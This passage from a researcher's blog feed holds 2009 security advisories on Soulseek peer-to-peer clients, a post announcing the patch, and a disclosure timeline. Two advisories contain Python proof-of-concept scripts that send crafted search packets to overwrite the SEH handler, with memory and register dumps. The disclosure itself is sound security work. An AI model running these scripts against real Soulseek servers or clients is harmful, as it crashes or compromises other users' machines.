/&gt;&lt;br /&gt;import struct &lt;br /&gt;import sys, socket &lt;br /&gt;from time import * &lt;br /&gt;&lt;br /&gt;ip = "IP_ADDR" &lt;br /&gt;port = "PORT_NUM" #You can find out, how to find out IP/PORT if you RTFM :)  &lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) &lt;br /&gt;try: &lt;br /&gt;s.connect((ip,port)) &lt;br /&gt;except: &lt;br /&gt;print "Can\'t connect to peer!\n" &lt;br /&gt;sys.exit(0) &lt;br /&gt;&lt;br /&gt;junk = "\x41" * 3084 &lt;br /&gt;next_seh = struct.pack("&lt; L", 0x42424242)&lt;br /&gt;seh = struct.pack("&lt; L", 0x43434343)&lt;br /&gt;other_junk = "\x61" * 1424 &lt;br /&gt;&lt;br /&gt;buffer = "\x17\x00\x00\x00\x01\x09\x00\x00\x00\x31\x32\x33\x79\x6f\x77\x31" &lt;br /&gt;buffer+= "\x32\x33\x01\x00\x00\x00\x50\x00\x00\x00\x00\x21\x0c\x00\x00\x08" &lt;br /&gt;buffer+= "\x00\x00\x00\x6c\x7b\x1d\x0c\x15\x0c\x00\x00"+junk+next_seh+seh+other_junk &lt;br /&gt;&lt;br /&gt;s.send(buffer) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After the query is send, the SEH handler will get overwriten. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;V. BUSINESS IMPACT &lt;br /&gt;------------------------- &lt;br /&gt;An attacker could exploit this vulnerability to compromise any prior to 157 NS 13e Soulseek client  &lt;br /&gt;&lt;br /&gt;VI. SYSTEMS AFFECTED &lt;br /&gt;------------------------- &lt;br /&gt;Windows all versions &lt;br /&gt;&lt;br /&gt;VII. SOLUTION &lt;br /&gt;------------------------- &lt;br /&gt;Upgrade to 157 NS 13e  &lt;br /&gt;(http://slsknet.org/download.html) &lt;br /&gt;&lt;br /&gt;VIII. REFERENCES &lt;br /&gt;------------------------- &lt;br /&gt;http://www.slsknet.org &lt;br /&gt;&lt;br /&gt;IX. CREDITS &lt;br /&gt;------------------------- &lt;br /&gt;This vulnerability has been discovered by Laurent Gaffié &lt;br /&gt;Laurent.gaffie{remove-this}(at)gmail.com &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;X. REVISION HISTORY &lt;br /&gt;------------------------- &lt;br /&gt;july 02, 2009 &lt;br /&gt;&lt;br /&gt;XI. LEGAL NOTICES &lt;br /&gt;------------------------- &lt;br /&gt;The information contained within this advisory is supplied "as-is" &lt;br /&gt;with no warranties or guarantees of fitness of use or otherwise. &lt;br /&gt;I accept no responsibility for any damage caused by the use or  &lt;br /&gt;misuse of this information. &lt;br /&gt;&lt;br /&gt;XII. PERSONAL NOTES &lt;br /&gt;------------------------ &lt;br /&gt;Souleek team as patched this bug month ago, a distributed message urging users to upgrade them Soulseek client &lt;br /&gt;is still send since a month, and not much users still use vulnerable Soulseek versions. &lt;br /&gt;@to the one who like to rip bugs and make an exploit ""universal"" for fame, just make sure it's at least &lt;br /&gt;universal before you say so. &lt;br /&gt;For the others : http://www.youtube.com/watch?v=tVACUjHn6yU   :) &lt;br /&gt;&lt;br /&gt;@RIIA : http://www.openp2p.com/pub/a/p2p/2002/12/11/piracy.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-2339063674939973267?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/2339063674939973267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/07/soulseek-157-ns-13e-156-remote-peer.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/2339063674939973267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/2339063674939973267'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/07/soulseek-157-ns-13e-156-remote-peer.html' title='Soulseek 157 NS &lt; 13e &amp; 156.* Remote Peer Search Code Execution'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-3703075941553943231</id><published>2009-06-04T16:06:00.000-07:00</published><updated>2009-06-04T16:34:44.692-07:00</updated><title type='text'>Soulseek Patched !</title><content type='html'>Soulseek maintainer Nir Arbel did release a new Soulseek version (&lt;a href="http://www.slsknet.org/changelog.html"&gt;157 Ns 13e&lt;/a&gt;) who plug the security hole in previous clients.&lt;br /&gt;He also did limit the search query length on the server, to avoid any kind of mass random attacks.&lt;br /&gt;&lt;br /&gt;Contacting the Soulseek team was hard, but i need to mention that it wasn't because they was under-considering this security bug, they was just not reachable, because of some circonstances that can happens.&lt;br /&gt;&lt;br /&gt;I want to thanks Nir Arbel for his very professional way to handle this security bug, after a contact can be done.&lt;br /&gt;&lt;br /&gt;The Soulseek server as been patched in a matter of hours after he acknowledged the security advisory, and he did release a patched Soulseek client yesterday, after the bug was triggered locally.&lt;br /&gt;&lt;br /&gt;Another advisory regarding another way to exploit this security hole will be responsibly disclosed when every clients on the Slsk network will be upgraded.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-3703075941553943231?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/3703075941553943231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/06/soulseek-patched.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/3703075941553943231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/3703075941553943231'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/06/soulseek-patched.html' title='Soulseek Patched !'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3247452330105635425.post-1372500812301211352</id><published>2009-05-25T18:13:00.000-07:00</published><updated>2009-06-02T08:03:30.717-07:00</updated><title type='text'>Soulseek * P2P Remote Distributed Search Code Execution</title><content type='html'>=============================================&lt;br /&gt;- Release date: May 24th, 2009&lt;br /&gt;- Discovered by: Laurent Gaffié&lt;br /&gt;- Severity: critical&lt;br /&gt;=============================================&lt;br /&gt;&lt;br /&gt;I. VULNERABILITY&lt;br /&gt;-------------------------&lt;br /&gt;Soulseek 157 NS * &amp;amp; 156.* Remote Distributed Search Code Execution&lt;br /&gt;&lt;br /&gt;II. BACKGROUND&lt;br /&gt;-------------------------&lt;br /&gt;"Soulseek(tm) is a unique ad-free, spyware free, and just plain free file&lt;br /&gt;sharing application.&lt;br /&gt;One of the things that makes Soulseek(tm) unique is our community and&lt;br /&gt;community-related features.&lt;br /&gt;Based on peer-to-peer technology, virtual rooms allow you to meet people with&lt;br /&gt;the same interests, share information, and chat freely using real-time messages&lt;br /&gt;in public or private.&lt;br /&gt;Soulseek(tm), with its built-in people matching system, is a great way to make&lt;br /&gt;new friends and expand your mind!"&lt;br /&gt;&lt;br /&gt;III. DESCRIPTION&lt;br /&gt;-------------------------&lt;br /&gt;Soulseek client allows distributed file search to one person, everyone, or in a&lt;br /&gt;specific Soulseek IRC channel, allowing a user to find the files he wants, in&lt;br /&gt;a dedicated channel, or with his contacts, or on the whole network.&lt;br /&gt;Unfortunatly this feature is vulnerable to a remote SEH overwrite to a specific&lt;br /&gt;user, or even to a whole Soulseek IRC channel.&lt;br /&gt;&lt;br /&gt;IV. PROOF OF CONCEPT&lt;br /&gt;-------------------------&lt;br /&gt;This proof of concept is made to prevent a S-K party, it is only build to&lt;br /&gt;target the user "testt4321".&lt;br /&gt;&lt;br /&gt;To try this proof of concept, you would have to open a soulseek client and use&lt;br /&gt;the username:&lt;br /&gt;"testt4321"&lt;br /&gt;with the password:&lt;br /&gt;"12345678"&lt;br /&gt;And launch this code.&lt;br /&gt;If you want to change the username or target a whole channel, you would have&lt;br /&gt;to reverse the binary protocol&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/python&lt;br /&gt;import struct&lt;br /&gt;import sys, socket&lt;br /&gt;from time import *&lt;br /&gt;&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;s.connect(("208.76.170.50",2242))  # Change to Port 2240 for 156* branch&lt;br /&gt;&lt;br /&gt;buffer = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x74\x65\x73\x74"&lt;br /&gt;buffer+= "\x34\x33\x32\x31\x08\x00\x00\x00\x31\x32\x33\x34\x35\x36\x37\x38"&lt;br /&gt;buffer+= "\xb5\x00\x00\x00\x20\x00\x00\x00\x38\x65\x39\x31\x66\x37\x33\x30"&lt;br /&gt;buffer+= "\x35\x35\x37\x31\x32\x35\x64\x37\x34\x39\x32\x34\x62\x64\x66\x35"&lt;br /&gt;buffer+= "\x63\x32\x39\x61\x36\x37\x64\x61\x01\x00\x00\x00"&lt;br /&gt;&lt;br /&gt;s.send(buffer)&lt;br /&gt;sleep(1)&lt;br /&gt;&lt;br /&gt;junk = "\x41" * 3084&lt;br /&gt;next_seh = struct.pack('&lt;L', 0x42424242)&lt;br /&gt;seh =      struct.pack('&lt;L', 0x43434343)&lt;br /&gt;other_junk = "\x61" * 1423&lt;br /&gt;&lt;br /&gt;buffer2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00\x74\x65\x73\x74"&lt;br /&gt;buffer2+= "\x74\x34\x33\x32\x31\xa4\x5a\x51\x44\xe8\x0e\x00\x00"+junk+next_seh+seh+other_junk&lt;br /&gt;s.send(buffer2)&lt;br /&gt;sleep(1)&lt;br /&gt;s.recv(1024)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After the query is send, the memory will look like this&lt;br /&gt;0012FBE4   41414141&lt;br /&gt;0012FBE8   42424242  Pointer to next SEH record&lt;br /&gt;0012FBEC   43434343  SE handler&lt;br /&gt;0012FBF0   61616161&lt;br /&gt;&lt;br /&gt;And the program will terminate with this structure:&lt;br /&gt;EAX 00000000&lt;br /&gt;ECX 43434343&lt;br /&gt;EDX 7C9132BC ntdll.7C9132BC&lt;br /&gt;EBX 00000000&lt;br /&gt;ESP 0012EA78&lt;br /&gt;EBP 0012EA98&lt;br /&gt;ESI 00000000&lt;br /&gt;EDI 00000000&lt;br /&gt;EIP 43434343&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;V. BUSINESS IMPACT&lt;br /&gt;-------------------------&lt;br /&gt;An attacker could exploit this vulnerability to compromise any Soulseek client connected to&lt;br /&gt;the Soulseek network.&lt;br /&gt;&lt;br /&gt;VI. SYSTEMS AFFECTED&lt;br /&gt;-------------------------&lt;br /&gt;Windows all versions&lt;br /&gt;&lt;br /&gt;VII. SOLUTION&lt;br /&gt;-------------------------&lt;br /&gt;A fast solution would be to use Nicotine-Plus (http://nicotine-plus.sourceforge.net/)&lt;br /&gt;a Python Soulseek client.&lt;br /&gt;Another quick workaround (at server level) would be to limit the search query lenght.&lt;br /&gt;&lt;br /&gt;VIII. REFERENCES&lt;br /&gt;-------------------------&lt;br /&gt;http://www.slsknet.org&lt;br /&gt;&lt;br /&gt;IX. CREDITS&lt;br /&gt;-------------------------&lt;br /&gt;This vulnerability has been discovered by Laurent Gaffié&lt;br /&gt;Laurent.gaffie{remove-this}(at)gmail.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;X. REVISION HISTORY&lt;br /&gt;-------------------------&lt;br /&gt;May 24, 2009: Initial release&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;XI. DISCLOSURE TIMELINE&lt;br /&gt;-------------------------&lt;br /&gt;july      29, 2008: Bug discovered&lt;br /&gt;September 03, 2008: Vendor contacted; no response.&lt;br /&gt;October   14, 2008: Vendor contacted; still no response.&lt;br /&gt;April     12, 2009: Idefense contacted.&lt;br /&gt;April     13, 2009: Idefense answered.&lt;br /&gt;April     23, 2009: Advisory send to idefense contributor program.&lt;br /&gt;May       13, 2009: Idefense contacted, bug rejected (no reason given)&lt;br /&gt;May       15, 2009: Idefense recontacted; no answer.&lt;br /&gt;May       16, 2009: Last try to contact Soulseek maintainers&lt;br /&gt;May       24, 2009: Advisory published.&lt;br /&gt;&lt;br /&gt;XII. LEGAL NOTICES&lt;br /&gt;-------------------------&lt;br /&gt;The information contained within this advisory is supplied "as-is"&lt;br /&gt;with no warranties or guarantees of fitness of use or otherwise.&lt;br /&gt;I accept no responsibility for any damage caused by the use or&lt;br /&gt;misuse of this information.&lt;br /&gt;&lt;l',&gt;&lt;l',&gt;&lt;/l',&gt;&lt;/l',&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3247452330105635425-1372500812301211352?l=g-laurent.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://g-laurent.blogspot.com/feeds/1372500812301211352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://g-laurent.blogspot.com/2009/05/soulseek-p2p-remote-distributed-search.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/1372500812301211352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3247452330105635425/posts/default/1372500812301211352'/><link rel='alternate' type='text/html' href='http://g-laurent.blogspot.com/2009/05/soulseek-p2p-remote-distributed-search.html' title='Soulseek * P2P Remote Distributed Search Code Execution'/><author><name>Laurent Gaffié  blog</name><uri>http://www.blogger.com/profile/08377956323092605195</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry></feed>
